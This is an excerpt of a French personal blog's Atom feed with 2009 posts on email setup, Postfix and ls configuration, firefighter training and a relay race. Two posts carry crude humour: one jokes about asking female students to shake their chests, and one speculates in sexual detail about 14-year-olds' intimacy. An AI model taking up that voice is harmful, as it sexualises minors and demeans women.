&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Un&amp;nbsp;&lt;strong&gt;Jeu de caractères&lt;/strong&gt;&amp;nbsp; est une association entre un caractère et un nombre permettant de le représenter. On associe par exemple la valeur 65 à la lettre A majuscule.&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Et UTF-8 est compatible avec les texte ASCII. Ce qui veut dire qu&amp;rsquo;avec une machine en UTF-8, je peux lire des texte codés en ASCII (ouf) … ce qui ne sera pas le cas pour le Latin9 :-( Je devrai les traiter à grands coups de &lt;code&gt;iconv&lt;/code&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;Je ne peux pas représenter ce caractère ici (je ne sais pas très bien comment faire) &amp;hellip; mais bien dans une console linux.&amp;#160;&lt;a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Bien choisir son soutien</title><link href="http://blog.namok.be/2009-11-20-Bien-choisir-son-soutien.html" rel="alternate"/><published>2009-11-20T00:00:00+01:00</published><updated>2009-11-20T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-11-20:/2009-11-20-Bien-choisir-son-soutien.html</id><summary type="html">En Somalie, les femmes ne peuvent pas choisir si elles portent un soutien-gorge ou pas.</summary><content type="html">&lt;p&gt;&lt;img alt="Une fille en soutien-gorge jaune" src="/images/somalienne-soutien-gorge.png" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Bien choisir son soutien-gorge c&amp;rsquo;est en fait ne pas en porter.&lt;/p&gt;
&lt;p&gt;Lorsqu&amp;rsquo;on lit l&amp;rsquo;actualité — on perd un peu son temps — mais on est parfois mort de rire. Je suis mort de rire parce que je préfère en rire qu&amp;rsquo;en pleurer. Or donc, comme tout garçon, je suis un peu voyeur. Lorsque j&amp;rsquo;ai une femme en face de moi, je regarde son visage (c&amp;rsquo;est mieux pour se parler)… et un peu tout le reste. Force est de constater qu&amp;rsquo;en Belgique la plupart des filles portent un &lt;strong&gt;soutien-gorge&lt;/strong&gt;. Je pense que socialement « ça le fait » et que c&amp;rsquo;est plus pratique. En tout cas, c&amp;rsquo;est ce que me disent les filles que je côtoie. Je ne pense pas qu&amp;rsquo;elles portent un soutien car nous avons une culture judéo-chrétienne. &lt;/p&gt;
&lt;p&gt;Et bien — accrochez-vous ou asseyez-vous — le port du soutien est tout à fait religieux. Si dans une société « judéo-chrétienne » (la majorité) des filles porte un soutien-gorge, il est interdit par une société musulmane radicale. &lt;/p&gt;
&lt;p&gt;Petits morceaux choisis d&amp;rsquo;un &lt;a href="http://www.lematin.ch/actu/monde/soutien-gorge-interdit-somalie-190598#"&gt;article dans un journal suisse, LE MATIN.ch&lt;/a&gt; (&lt;em&gt;lien mort&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;intro n&amp;rsquo;est peut-être pas drôle mais il faut se mettre dans le sujet.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Celles qui portent un soutien-gorge sous le voile sont fouettées en public.&lt;/p&gt;
&lt;p&gt;(&amp;hellip;)&lt;/p&gt;
&lt;p&gt;«Les islamistes disent que la poitrine d&amp;rsquo;une femme doit être &lt;strong&gt;ferme naturellement, ou bien plate&lt;/strong&gt;», a expliqué au journal africain Gabon Eco la mère d&amp;rsquo;une fille punie sévèrement en octobre&lt;/p&gt;
&lt;p&gt;(&amp;hellip;)&lt;/p&gt;
&lt;p&gt;Les miliciens multiplient donc les points de contrôle pour exiger des femmes qu&amp;rsquo;elles sautent et secouent le torse, pour vérifier si les seins bougent naturellement&amp;hellip;&lt;/p&gt;
&lt;p&gt;LE MATIN.ch&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Demain à l&amp;rsquo;école je demande à mes collègues et à mes étudiantes de sauter et de secouer le torse. &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Image générée par une IA lorsque l&amp;rsquo;article a été édité en juin 2024.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Je travaille dans une école imaginaire</title><link href="http://blog.namok.be/2009-11-18-Je-travaille-dans-une-ecole-imaginaire.html" rel="alternate"/><published>2009-11-18T00:00:00+01:00</published><updated>2009-11-18T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-11-18:/2009-11-18-Je-travaille-dans-une-ecole-imaginaire.html</id><summary type="html">Je travaille dans une école imaginaire</summary><content type="html">&lt;p&gt;&lt;img alt="Des personnages imaginaires" src="/images/ecoleimaginaire.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Jason Bourne&lt;/em&gt;, &lt;em&gt;Like a dream&lt;/em&gt;, &lt;em&gt;Gentleman007&lt;/em&gt;, &lt;em&gt;Némo le Samouraï&lt;/em&gt;… sont tous des gens que je côtoie tous les jours.&lt;/p&gt;
&lt;p&gt;Et je ne suis pas le seul. J&amp;rsquo;en parlais avec un copain, prof à &lt;a href="//www.univ-lille3.fr/"&gt;Lille 3&lt;/a&gt;, qui lui fréquente, par exemple, &lt;em&gt;La polack de Lille&lt;/em&gt;. Nous sommes tous deux confrontés au difficile choix d&amp;rsquo;une &lt;strong&gt;adresse email&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Je comprend parfaitement que ce choix ne soit pas facile lorsque l&amp;rsquo;on a 12 ans mais lorsque l&amp;rsquo;on entretient des contacts avec des « adultes » &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; , il est temps je pense de se choisir une adresse émail (une &lt;em&gt;adèle&lt;/em&gt; pour faire plaisir à &lt;em&gt;nfs&lt;/em&gt;) professionnelle. J&amp;rsquo;entend par là une adresse de la forme &lt;code&gt;prenomnom@example.org&lt;/code&gt;, &lt;code&gt;pnom@example.org&lt;/code&gt;, &lt;code&gt;prenom.nom@example.org&lt;/code&gt;, &lt;code&gt;pn@example.org&lt;/code&gt;, etc. Bref une adresse qui laisse percevoir qui est l&amp;rsquo;interlocuteur.&lt;/p&gt;
&lt;p&gt;À cela, j&amp;rsquo;ajoute le fait d&amp;rsquo;associer son prénom et son nom à l&amp;rsquo;adresse mail, histoire que dans le mail, l&amp;rsquo;on voit &lt;code&gt;From: Prénom Nom &amp;lt;pnom@example.org&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Pour ceux qui rétorquerai qu&amp;rsquo;ils ont leur habitude avec ce mail, je précise que l&amp;rsquo;on peut avoir &lt;strong&gt;plusieurs&lt;/strong&gt; adresses emails et s&amp;rsquo;arranger pour toutes les rediriger vers une seule boite mail, celle que l&amp;rsquo;on relève habituellement. Comme ça, c&amp;rsquo;est transparent pour l&amp;rsquo;utilisateur. Reste alors à configurer convenablement son client mail pour « répondre avec la bonne identité » &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Mais bon, quand je regarde les adresses mails de mes copains, je me dis que ce n&amp;rsquo;est pas gagné. Mes copains sont aussi imaginaires; &lt;em&gt;Loco Lucho&lt;/em&gt;, &lt;em&gt;La fleur sympa&lt;/em&gt;…&lt;/p&gt;
&lt;p&gt;(&lt;em&gt;Damn*d&lt;/em&gt; ma conclusion qui par en couilles, car la plupart des emails de mes copains sont « sensés »; les deux que je cite sont obsolètes, les propriétaires ont grandis.)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Édité un peu plus tard&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Dans l&amp;rsquo;intervalle, j&amp;rsquo;ai vérifié ma config et ce que je subodorais est exact. À savoir que Gmail réécrit d&amp;rsquo;office le champ &lt;code&gt;from&lt;/code&gt; des mails que l&amp;rsquo;on envoie via leur smtp &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;. C&amp;rsquo;est-à-dire que ce sera &lt;code&gt;votrecompte@gmail.com&lt;/code&gt; qui s&amp;rsquo;affichera dans le mail que recevra votre destinataire.&lt;/p&gt;
&lt;p&gt;Ce n&amp;rsquo;est pas un problème si votre compte a la bonne forme mais c&amp;rsquo;en est un si&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;vous avez un nom de domaine et que votre client de messagerie envoie des mails sous des identités différentes.&lt;/p&gt;
&lt;p&gt;Par exemple, mon client mail envoie des mails en tant que &lt;code&gt;pb(à)namok.be&lt;/code&gt; et en tant que &lt;code&gt;pbettens(à)heb.be&lt;/code&gt; Et aujourd&amp;rsquo;hui (enfin hier maintenant) tout le monde recevait mes mails de la part de mon compte gmail (&lt;code&gt;moncompte@gmail.com&lt;/code&gt;) que j&amp;rsquo;utilisais comme &lt;code&gt;smtp&lt;/code&gt;. Grr.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;vous avez plusieurs adresses email chez gmail.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dans le deuxième cas, vous êtes dans le jus, vous devez utiliser le webmail et être connecté avec le bon compte ou bien choisir une des deux identités comme identité par défaut sur vos comptes (ça se paramètre via le webmail, pas via votre client mail).&lt;/p&gt;
&lt;p&gt;Pour ce faire, et ceci est valable dans les deux cas, il est possible de dire à gmail que vous voulez mettre une identité particulière dans le champ &lt;code&gt;from&lt;/code&gt; de vos mails (qui passent par chez eux). Par exemple vous avez un compte &lt;code&gt;voldemor@gmail.com&lt;/code&gt; et vous voulez qu&amp;rsquo;apparaisse &lt;code&gt;harrypotter@poudlardexample.org&lt;/code&gt;. Vous n&amp;rsquo;aurez alors qu&amp;rsquo;une seule identité par défaut (sauf si vous la changez via le webmail).&lt;/p&gt;
&lt;p&gt;Pour ma part, j&amp;rsquo;utilisais jadis le &lt;code&gt;smtp&lt;/code&gt; de mon ISP et je n&amp;rsquo;avais pas de problème jusqu&amp;rsquo;à ce que les ISP, pour lutter contre le spam imposent une authentification. Ils ont raison. J&amp;rsquo;ai un profil itinérant et je veux pouvoir envoyer des mails lorsque je suis connecté chez moi et lorsque je suis connecté ailleurs (à l&amp;rsquo;école, chez les pompiers…). J&amp;rsquo;utilise gmail (avec SASL) avec le soucis cité plus haut.&lt;/p&gt;
&lt;p&gt;Résultat un petit s/72.14.221.111:587/213.186.33.20:587/ et me voilà &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt; avec le smtp de mon hébergeur, à savoir ovh.&lt;/p&gt;
&lt;p&gt;Quelques envois de mails plus tard, je constate que c&amp;rsquo;est plus rapide :-))&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Édité en juin 2024 pour ajouter une image de Jason Bourne, l&amp;rsquo;agent secret, Like a dream, la fille un peu dans la lune, Gentleman007, le gentlemean et Némo le Samouraï. L&amp;rsquo;image est générée par IA.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je ne sais pas très bien comment me définir. Je veux simplement dire par adulte, une « personne ayant autorité »; un prof, un contact pour un job étudiant, un futur employeur…&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Et ça je ne suis pas tout à fait sûr que ce soit convenablement fait chez moi. _Mea culpa&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Ça devient un peu technique&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Modulo la modification du fichier &lt;code&gt;sasl_passwd&lt;/code&gt; avec le couple &lt;code&gt;login/password&lt;/code&gt; qui va bien et un petit &lt;code&gt;postmap sasl_passwd ; /etc/init.d/postfix reload&lt;/code&gt; afin de régénérer la base de mot de passe et relancer postfix&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Changer les couleurs lors d'un ls --color</title><link href="http://blog.namok.be/2009-11-09-Changer-les-couleurs-lors-d-un-ls-color.html" rel="alternate"/><published>2009-11-09T00:00:00+01:00</published><updated>2009-11-09T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-11-09:/2009-11-09-Changer-les-couleurs-lors-d-un-ls-color.html</id><summary type="html">Changer les couleurs lors d'un ls --color</summary><content type="html">&lt;p&gt;Lorsque l&amp;rsquo;on fait un &lt;code&gt;ls -l&lt;/code&gt; dans une console linux &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, les fichiers et répertoires s&amp;rsquo;affichent en couleur pour peu que l&amp;rsquo;option &lt;code&gt;--color=auto&lt;/code&gt; soit positionnée.&lt;/p&gt;
&lt;p&gt;Un étudiant me demande comment faire pour que tous ses fichiers sources java (ceux avec l&amp;rsquo;extension &lt;code&gt;.java&lt;/code&gt;) s&amp;rsquo;affichent en rouge.&lt;/p&gt;
&lt;p&gt;&lt;a href="//chl.be/glmf/www.linuxmag-france.org/old/lm6/lscoul.html"&gt;Une petite recherche plus tard&lt;/a&gt; et l&amp;rsquo;on fait:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;dircolors&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;~/.ls_colors&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Histoire d&amp;rsquo;obtenir les choix de couleurs par défaut et de les copier dans un fichier caché dans son répertoire home. Ce fichier sera modifié afin d&amp;rsquo;y ajouter le choix de couleur pour les fichiers java; à savoir &lt;strong&gt;&lt;code&gt;.java 00;31&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;dircolors&lt;span class="w"&gt; &lt;/span&gt;~/.ls_colors&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cette dernière commande (à placer dans son &lt;code&gt;.bashrc&lt;/code&gt; ou &lt;code&gt;.profile&lt;/code&gt; quelconque) permet de placer dans ses variables d&amp;rsquo;environnement les couleurs à utiliser par la commande &lt;code&gt;dircolors&lt;/code&gt; (utilisée par &lt;code&gt;ls&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est looong mais ça marche. &lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Ceux qui ne comprennent pas les deux derniers mots peuvent passer leur chemin et revenir plus tard&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Un barbecue sans saucisse</title><link href="http://blog.namok.be/2009-10-22-Un-barbecue-sans-saucisses.html" rel="alternate"/><published>2009-10-22T00:00:00+02:00</published><updated>2009-10-22T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-10-22:/2009-10-22-Un-barbecue-sans-saucisses.html</id><summary type="html">Quand les formations pompiers t'emmènent au cours d'accoutumance à la chaleur</summary><content type="html">&lt;p&gt;Ce qui est chouette lorsque l&amp;rsquo;on est pompier volontaire c&amp;rsquo;est que l&amp;rsquo;on peut faire certaines formations sympas. Aujourd&amp;rsquo;hui « &lt;strong&gt;Le barbecue sans saucisse&lt;/strong&gt; » ou « &lt;strong&gt;Comment entrer dans un four ?&lt;/strong&gt; ».&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/images/pompier-accoutumance.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Nous sommes partis à 4, Cédric, Julien, Xavier et moi en formation accoutumance à la chaleur. Dit simplement, nous sommes allés faire un petit test afin de voir à quelles températures peuvent résister notre équipement et nous.&lt;/p&gt;
&lt;p&gt;Ça se passe à Bruxelles (à l&amp;rsquo;Héliport). Après un rapide rappel des dangers liés à la chaleur, nous nous équipons &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; et nous dirigeons vers la « tour feu ». Là, les opérateurs ont allumés le feu de camp pour nous. Dans une pièce fermée de 4x4m (à vue de nez) brûle un chouette feu de camp.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est très simple et c&amp;rsquo;est vraiment « comme une veillée autour du feu ». Nous tournons autour du feu dans un sens puis dans l&amp;rsquo;autre pour bien se rappeler que le côté feu est plus chaud que l&amp;rsquo;autre (pour les neuneux). Comme ça devient chaud, on s&amp;rsquo;éloigne du feu (pas de bol on est dans une pièce et il y a un mur derrière nous). On lève la main histoire de se sentir que c&amp;rsquo;est bien plus chaud en l&amp;rsquo;air. On s&amp;rsquo;accroupit puisque la chaleur monte et l&amp;rsquo;on sent que c&amp;rsquo;est plus frais même si se mettre à genou implique le contact des cuisses avec le pantalon ^^.&lt;/p&gt;
&lt;p&gt;Comme il fait toujours plus chaud, on se retourne et on attend. À ce stade nous sommes accroupis, dos au feu dans un coin de la pièce en se disant que ça commence à faire bien chaud quand même. L&amp;rsquo;air que nous respirons (celui de notre ARI &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;) n&amp;rsquo;est plus frais. Même lui est chaud puisque notre bouteille et notre &lt;em&gt;facial&lt;/em&gt; chauffent. Si jusque là, je trouve l&amp;rsquo;exercice très agréable (j&amp;rsquo;aime bien le chaud) je commence à sentir que la chaleur passe à travers l&amp;rsquo;équipement et mes épaules et le dessus de mon crâne commencent à brûler (être très chaud hein ! pas s&amp;rsquo;enflammer ;-) ).&lt;/p&gt;
&lt;p&gt;Ça c&amp;rsquo;est pour la chaleur sèche (celle du sauna quand on ne mouille pas trop). Maintenant il est temps de se rendre compte que la chaleur humide (celle du hamam) est plus difficile à supporter (à même température). Pas d&amp;rsquo;hésitation. Un formateur arrose. Nous sentons tout de suite une chape d&amp;rsquo;humidité s&amp;rsquo;abattre sur nous. C&amp;rsquo;est moins agréable même si cet arrosage à fait rapidement et considérablement baisser la température.&lt;/p&gt;
&lt;p&gt;Il est temps de sortir et de se réhydrater.&lt;/p&gt;
&lt;p&gt;Ah j&amp;rsquo;oubliais la question qui vous brûle les lèvres et qui fait le rapport avec le four, les capteurs de températures indiquent 200° au sol, 300° à hauteur d&amp;rsquo;homme et 400° au plafond (dixit l&amp;rsquo;opérateur).&lt;/p&gt;
&lt;p&gt;Nous ne sommes restés que 10&amp;rsquo; dans la pièce mais c&amp;rsquo;est suffisant, après ça fait mal, le corp se déshydrate, sèche et on tire le rideau.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;L&amp;rsquo;équipement, c&amp;rsquo;est les bottes, un surpantalon, une veste, des gants, une cagoule, un casque et un ARI.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;ARI = Appareil Respiratoire Isolant&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Nicke ta mère</title><link href="http://blog.namok.be/2009-10-09-Nicke-ta-mere.html" rel="alternate"/><published>2009-10-09T00:00:00+02:00</published><updated>2009-10-09T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-10-09:/2009-10-09-Nicke-ta-mere.html</id><summary type="html">Nicke ta mère</summary><content type="html">&lt;p&gt;&lt;img alt="Une fille, robe latex et un scooter" src="/images/Scooter_by_latex_rat.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Une proposition de loi vise à légaliser le sexe dès l&amp;rsquo;âge de 14 ans. Ce projet de &lt;a href="//rafterwingen.be/"&gt;Raf Terwingen (CD&amp;amp;V)&lt;/a&gt; vise à clarifier les règles relatives à l&amp;rsquo;âge minimal autorisé pour les relations sexuelles consentantes. Je cite le métro du Jeudi 8 octobre 2009.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;La proposition prévoit d&amp;rsquo;autoriser les caresses intimes et le sexe oral à partir de 14 ans.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Pour les caresses intimes, je comprend bien, on pourra &lt;em&gt;se mettre la main dans la culotte&lt;/em&gt; ou dans le soutien. « Mets ta main dans mon soutien, tu verras ce qu&amp;rsquo;il contient, met ta main dans ma culotte… » (Chanson du temps jadis).&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;après mes souvenirs, pas trop de soucis, on y arrive vite et facilement, ce n&amp;rsquo;est pas sale.Ça n&amp;rsquo;engage pas trop. C&amp;rsquo;est le prolongement naturel du baisé et de la main dans la main.&lt;/p&gt;
&lt;p&gt;Par contre pour le sexe oral — il ne s&amp;rsquo;agit pas de crier &lt;em&gt;Tu suces&lt;/em&gt; en rue — ça me parait moins évident. Il me semble plus facile lorsque l&amp;rsquo;on est jeune d&amp;rsquo;être allongés l&amp;rsquo;un contre l&amp;rsquo;autre et de, dans l&amp;rsquo;élan du moment, laisser glisser son engin dans celui de la fille que de s&amp;rsquo;engager dans une fellation ou un cunnilingus. &lt;/p&gt;
&lt;p&gt;Mais je dois avoir le regard biaisé car je m&amp;rsquo;imagine les deux gamins sous la couette plutôt que sur le siège arrière d&amp;rsquo;une bagnole où le sexe oral est plus facile à mettre en œuvre (ça fait moins mal au genoux). Ceci dit, à 14 ans, point de voiture et point de maison (sauf parents consentants). Comment donc faire puisque la pipe sur le scooter c&amp;rsquo;est pas top ?&lt;/p&gt;
&lt;p&gt;Mon (grand) âge me fait penser que c&amp;rsquo;est un peu tôt et j&amp;rsquo;essaie de voir si les adolescents (puisqu&amp;rsquo;à cet âge il ne s&amp;rsquo;agit pas de jeunes) de mon entourage ont déjà ces envies.&lt;/p&gt;
&lt;p&gt;Bref, les mœurs évoluent, je m&amp;rsquo;en vais réfléchir à tout ça avec un café et une p&amp;rsquo;tite pipe. &lt;/p&gt;
&lt;p&gt;Ah merde, plus de café…&lt;/p&gt;</content></entry><entry><title>Les 24h, version 2009</title><link href="http://blog.namok.be/2009-09-23-Les-24h-version-2009.html" rel="alternate"/><published>2009-09-23T00:00:00+02:00</published><updated>2009-09-23T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-09-23:/2009-09-23-Les-24h-version-2009.html</id><summary type="html">Les 24h, version 2009</summary><content type="html">&lt;p&gt;&lt;img alt="Des pompiers aux 24h" src="/images/24h-2009-DSC_0148.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Ce WE des 19 et 20 septembre 2009, se sont déroulées les 24h d&amp;rsquo;allure libre à Ath. Pour la troisième année (je crois) j&amp;rsquo;ai participé à l&amp;rsquo;évènement avec les pompiers d&amp;rsquo;Ath. C&amp;rsquo;est avec John, Thibault, Jérémy et Marie que nous avons décidé de nous y remettre cette année et d&amp;rsquo;essayer de &lt;a href="2008-09-27-209-les-24h-ont-failli-avoir-raison-de-nous.html"&gt;faire un peu mieux que l&amp;rsquo;an dernier&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="L'affiche" class="right" src="/images/24H2009.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Rappelez vous l&amp;rsquo;an dernier, nous avions terminé avec pas mal de blessés; Thibault plein de cloches, John avec une rage de dents et une hospitalisation, et moi avec le genou en compote. « Manque d&amp;rsquo;entrainement » ont décrété les observateurs (aka ma femme et les amis).&lt;/p&gt;
&lt;p&gt;Bref, c&amp;rsquo;est avec un peu plus d&amp;rsquo;entrainement et peu (ou pas) de préparation de groupe que nous nous sommes pointés Samedi.&lt;/p&gt;
&lt;p&gt;Déjà, certains (John) étaient venu le matin pour réserver les places et apporter tables et PCO (Poste de Commandement Opérationnel « &lt;em&gt;Oh my god&lt;/em&gt; ») pendant que d&amp;rsquo;autres vaquaient ou étaient en recyclage ambulance (Thibault et moi). C&amp;rsquo;est donc vers 15h que l&amp;rsquo;équipe se retrouve presque au complet; la base, &lt;strong&gt;John&lt;/strong&gt;, &lt;strong&gt;Thibault&lt;/strong&gt;, &lt;strong&gt;Jérémy&lt;/strong&gt;, &lt;strong&gt;Marie&lt;/strong&gt; et &lt;strong&gt;Pit&lt;/strong&gt; (moi) augmentée de &lt;strong&gt;Pierre&lt;/strong&gt;, le frère de Marie et de &lt;strong&gt;Grégory&lt;/strong&gt; remplaçant de dernière minute. Il n&amp;rsquo;en manque plus qu&amp;rsquo;une, &lt;strong&gt;Aline&lt;/strong&gt;, qui nous rejoindra plus tard (vers 18h00). Ça nous fait une équipe de 5 pompiers (dont Aline d&amp;rsquo;Enghien) et 3 « civils ».&lt;/p&gt;
&lt;p&gt;John prend le départ et tout s&amp;rsquo;enchaine bien comme on peut le voir sur le tableau de passage. Nous parvenons à maintenir chacun le même ordre de temps au tour (avec des très bons temps par Pierre et Thibault… bon d&amp;rsquo;accord et John aussi)&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/images/24h-2009-DSC_0150.jpg"&gt;&lt;/p&gt;
&lt;p&gt;On déplorera deux incidents;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la blessure de Grégory lors de son deuxième tour ce qui l&amp;rsquo;obligera à arrêter et à s&amp;rsquo;occuper du barbecue ;-)&lt;/li&gt;
&lt;li&gt;l&amp;rsquo;abandon lâche d&amp;rsquo;Aline qui arrivée très en retard (21h00) et ayant promis de rester jusqu&amp;rsquo;à la fin (16h00) nous abandonne le matin vers 9h00. « Elle fit trois tours, le pont s&amp;rsquo;est effondré ». Pas d&amp;rsquo;effondrement mais un simple : « Désolée, j&amp;rsquo;me casse ».&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ce qui nous mène à la même conclusion que l&amp;rsquo;an dernier sur le choix des coéquipiers; il faut trouver quelqu&amp;rsquo;un sur qui on peut compter. Moi qui ne m&amp;rsquo;imaginais même pas il y a 5 ans d&amp;rsquo;ici que l&amp;rsquo;on pouvait lâcher quelqu&amp;rsquo;un lors d&amp;rsquo;une épreuve comme celle-là, me voilà marri.&lt;/p&gt;
&lt;p&gt;Je retiens de l&amp;rsquo;aventure, que nous avons fini avec un seul blessé (peu entrainé) et que les autres s&amp;rsquo;en sortent très bien; pas trop fatigués à la fin et contents de l&amp;rsquo;épreuve. On a pu conclure sur une bonne p&amp;rsquo;tite pils et on a passé un agréable moment. J&amp;rsquo;aime cette ambiance sportive où l&amp;rsquo;on voit chez les voisins comme chez nous, chaque coureur en attente de son tour, en train de s&amp;rsquo;étirer ou encore en train d&amp;rsquo;essayer de dormir un peu entre deux tours. Pour info, les « vrais » qui tournent à 4 font un tour (6km) toutes les 1h30. Nous, dans la catégorie &lt;em&gt;open&lt;/em&gt;, c&amp;rsquo;est toutes les 3 à 4 heures.&lt;/p&gt;
&lt;p&gt;Pour terminer, une photo du plus grand sportif de la bande,  &lt;em&gt;aka&lt;/em&gt; Thibault.&lt;/p&gt;
